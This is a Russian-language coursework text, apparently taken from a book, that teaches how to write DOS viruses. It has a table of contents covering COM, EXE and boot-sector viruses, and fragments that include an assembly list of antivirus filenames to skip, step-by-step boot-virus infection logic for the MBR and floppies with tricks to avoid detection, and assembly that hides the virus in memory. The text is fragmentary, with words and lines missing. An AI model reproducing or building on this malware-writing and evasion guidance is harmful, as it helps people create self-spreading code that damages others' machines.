Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа
Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-
ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82
ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного
содержатся - ли в имени найденного файла такие
фрагменты :
name_1 db 'ADIN';Файлы, имена
name_2 db 'DINF';которых начи-
name_3 db 'DRWE';наются так, за-
name_4 db 'AIDS';ражать нельзя !
name_5 db 'ANTI'
name_6 db 'WEB'
Для проверки используется разработанная ранее про-
цедура SEARCH . Если найденный файл действительно
является антивирусной программой, наш вирус отка-
зывается от попытки заразить его .
*
Как вы заметили,в вирусе отсутствуют обработчики
Int 13h и Int 2Fh. Так сделано потому, что пред-
лагаемая программа отлично работает без какой -
бы то ни было " фильтрации " прерывания Int 13h.
Проверка повторной загрузки возложена на обра-
ботчик Int 28h, по этой причине прерывание Int
2Fh перехватывать не нужно.
ЧАСТЬ 3 . ЗАГРУЗОЧНЫЕ ВИРУСЫ
ГЛАВА 1 . РАЗРАБОТКА ЗАГРУЗОЧНОЙ
ВИРУСНОЙ ПРОГРАММЫ
1.1 Краткие сведения о начальной загрузке
персонального компьютера
Для начала следует сказать несколько слов о том,
как происходит начальная загрузка ЭВМ.
После проверки аппаратной части компьютера и запо-
лнения таблицы векторов прерываний BIOS пытается
прочитать первый
сектор нулевой дорожки
стороны диска в дисководе " A ". Этот сектор поме-
щается в память по адресу 0000:7C00h,после чего на
указанный адрес передается управление. В прочитан-
ном секторе содержится программа начальной загруз-
ки (BOOT - запись) и некоторые другие сведения,не-
обходимые для доступа к данным на диске. Программа
начальной загрузки проверяет, является - ли диск
системным. Если это так, то загрузка операционной
системы с диска продолжается, а если нет,то на эк-
ран выводится сообщение :
Non system disk or disk error
Replace and press any key when ready .
после чего система ожидает действий оператора.
Если же диск в " A " - дисководе отсутствует, то
программа BIOS считывает первый сектор нулевой до-
рожки нулевой стороны первого жесткого диска. Он
также помещается в память по адресу 0000:7C00h,по-
сле чего по указанному адресу передается управле-
ние.В прочитанном секторе на жестком диске записа-
на так называемая MBR (главная загрузочная за-
пись). MBR является программой, которая определяет
активный раздел жесткого диска, считывает загру-
зочную запись (BOOT - запись) этого раздела в опе-
ративную память и отдает ей управление. Дальше все
происходит, как при загрузке системы с гибкого ди-
ска. Как видим, процесс загрузки с винчестера яв-
ляется как бы двухступенчатым.
Если же программа MBR не нашла активный раздел, то
выдается сообщение об отсутствии загрузочных уст-
ройств, и система останавливается.В некоторых ста-
рых машинах при невозможности запустить операцион-
ную систему загружался интерпретатор языка БЕЙСИК,
записанный в микросхемах ПЗУ. Однако новые модели
компьютеров не содержат встроенного интерпретато-
ра и не используют его.
1.2 Понятие о загрузочных вирусах
Загрузочными называют вирусы, способные заражать
загрузочные сектора гибких и жестких дисков и по-
лучающие управление при попытке " запустить " опе-
рационную систему с зараженного диска.
Можно выделить следующие основные разновидности
вирусных программ указанного типа :
1. Заражающие BOOT - сектора гибких дисков
2. Заражающие BOOT - запись активного раздела же-
сткого диска и BOOT - сектора гибких дисков
3. Заражающие MBR ( Master Boot Record ) жесткого
диска BOOT - сектора гибких дисков
Отметим,что заражение BOOT - секторов дискет явля-
ется обязательным, иначе вирус просто не сможет
распространяться .
Кроме того, почти все загрузочные вирусы являются
резидентными,что объясняется спецификой их работы.
Нерезидентный вирус смог бы размножаться только в
том случае, если при загрузке с диска " A " из
дисковода " B " забыли вытащить дискету, или при
загрузке с зараженного винчестера диск находится в
одном из дисководов.Очевидно,
тме работы вирус
размножался бы очень
и его создание было бы просто бессмысленным.
Большое распространение получили также файлово -
загрузочные вирусы, которые могут заражать файлы
типов EXE, COM а иногда и другие. Ярким представи-
телем этой разновидности можно считать ONEHALF,ко-
торый может заражать EXE и COM - файлы. Файлово -
загрузочные вирусы являются более заразными, чем
файловые. Создать такой вирус также сложнее, и по-
этому их подробное рассмотрение выходит за рамки
данной книги.
1.3 Алгоритм работы загрузочного
вируса
Несмотря на огромное разнообразие загрузочных ви-
русных программ, алгоритмы их работы незначительно
отличаются друг от
друга. В этом пункте мы
трим одну из возможных реализаций такого алгорит-
ма. Только сначала условимся, что наш вирус будет
заражать загрузочные сектора гибких дисков и MBR
( Master Boot Record) первого жесткого диска. Поэ-
тому можно предложить следующий " план работы " :
Попав при начальной загрузке машины в память по
адресу 0000:7C00h, вирус должен выполнить такие
действия :
1. Установить регистры SS и SP на собственный стек
2. " Отрезать " у системы несколько килобайтов па-
мяти ( сколько именно - зависит от длины вирус-
ного кода )
3. Переписать свой код в полученную область (кста-
ти, она будет находиться в старших адресах ос-
новной памяти)
4. Передать управление следующей секции своего ко-
да, уже расположенной в конце основной памяти
Эта секция, в свою очередь, должна :
1. Переопределить вектор прерывания Int 13h на ви-
русный код
2. Считать настоящий загрузочный сектор в память
по адресу 0000:7C00h
3. Проверить, заражен - ли винчестер. Если нет, то
заразить его MBR
4. Передать управление настоящему загрузочному се-
ктору, находящемуся по адресу 0000:7C00h
Далее загрузка ОС выполняется, как обычно.
Когда система будет загружена,вирус должен занять-
ся заражением BOOT - секторов дискет. С этой целью
он выполняет такие действия :
1. При чтении секторов с номерами 2...N нулевой
дорожки нулевой стороны диска " A " проверяет
BOOT этого диска на зараженность
2. Если диск еще не инфицирован - заражает его
3. Передает управление системному обработчику Int
13h
Под заражением понимают запись вирусного кода в
BOOT - сектор дискеты или в MBR винчестера.
Понятно, что при загрузке с винчестера проверять
его на зараженность бессмысленно. И тем не менее,
наш вирус делает это, так как отключить проверку
жесткого диска не так просто, как это может пока-
заться. Кроме того, она выполняется очень быстро и
поэтому совершенно не ощущается пользователем.
На первый взгляд, приведенный алгоритм кажется до-
вольно сложным. Тем не менее, его достаточно про-
сто реализовать, в чем вы скоро убедитесь.
Хотелось бы сказать о том, какой должна быть мак-
симальная длина вирусного кода.Если мы хотим поме-
стить вирус в загрузочный сектор целиком, следует
учесть два момента.
1. Собственно программа загрузки в MBR занимает
не более, чем 446 байт ( см. ПРИЛОЖЕНИЕ 2 )
2. Программа загрузки в BOOT - секторе дискеты
имеет разный размер в разных версиях DOS. В са-
мом " предельном " случае она начинается со
смещения 0055h относительно начала сектора. Два
последних байта BOOT и MBR содержат код: 55AAh.
Если его затереть,система перестанет загружать-
ся с испорченного таким образом диска. Некото-
рые вирусы используют этот прием для приведения
дискеты или винчестера в " частично нерабочее "
состояние.
Отсюда следует очевидный вывод - размер кода виру-
са не может превышать : 200h - 55h - 02h = 1A9h =
= 425 байт! Если вы не выйдете за эту границу, об-
ращение к диску будет происходить корректно. Кроме
того,даже NORTON DISK DOCTOR не будет замечать из-
менений программы загрузки в BOOT - секторе дис-
кеты или MBR винчестера, что, согласитесь, очень
важно.
1.4 Как начинается распространение вируса
В отличие от файловых вирусов,для внедрения загру-
зочного вируса в компьютер достаточно просто по-
пробовать загрузиться с зараженной дискеты, при
этом дискета не обязательно должна быть загрузоч-
ной.В этом состоит
особенность вирусов этого
Итак, чтобы вирус начал распространяться, достато-
чно заразить им гибкий диск, а потом попытаться
загрузиться с него на той или иной машине.
1.5 Начало работы
Как и прежде,будем
разрабатывать загрузочный
в виде COM - программы. Поэтому :
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
1.6 Вирус получает управление
Как вы уже знаете,загрузочный вирус получает упра-
вление только при загрузке операционной системы.
Далее он должен " отрезать " у DOS несколько кило-
байтов памяти и
переписать свой код в
область. Для выполнения этих функций можно пред-
ложить такой фрагмент :
my_prg: xor ax,ax ;
mov ss,ax ;
mov sp,7bfeh ;Установка собс-
push ax ;Сохраним в сте-
push bx ;ке используемые
push cx ;регистры
push dx ;
push si ;
push ds ;
push es ;
pushf ;
push cs ;DS = CS
pop ds ;
sub word ptr ds:[0413h],2 ;"Отрежем" у DOS
mov ax,ds:[0413h] ;два килобайта
mov cl,6 ;памяти и вычис-
sal ax,cl ;сегментный ад-
;рес,по которому
mov es,ax ;Поместим адрес
xor si,si ;И скопируем код
mov cx,prg_lenght ;вируса длиной
prg_copy: db 8ah ;"prg_lenght" в
db 9ch ;память по адре-
additor db 00h ;су ES : 0000h
db 7ch ;Сам код при за-
mov byte ptr es:[si],bl;грузке помещае-
inc si ;тся BIOS по ад-
loop cs:prg_copy ;ресу 0000:7C00h
push ax ;Запишем в стек
mov ax,to_read_boot ;адрес ES:to_re-
push ax ;ad_boot и осу-
db 0cbh ;ществим переход
Поскольку операционная система к моменту начала
выполнения этого фрагмента еще не загружена, "уве-
сти" у вычислительной системы два килобайта памяти
не предсталяет никакого труда. Для этого просто
следует уменьшить на два число,расположенное в об-
ласти данных BIOS по адресу : 0000:0413h .Загрузи-
вшись, операционная система просто не будет заме-
чать занятую вирусом память. Даже такие программы,
как RELEASE или Volkov Commander ( нажмите ALT +
+ F5 ) не помогут обнаружить, где именно " притаи-
лся " вирус ( правда, это не так трудно рассчи-
тать, но для рядового " юзера " такая задача непо-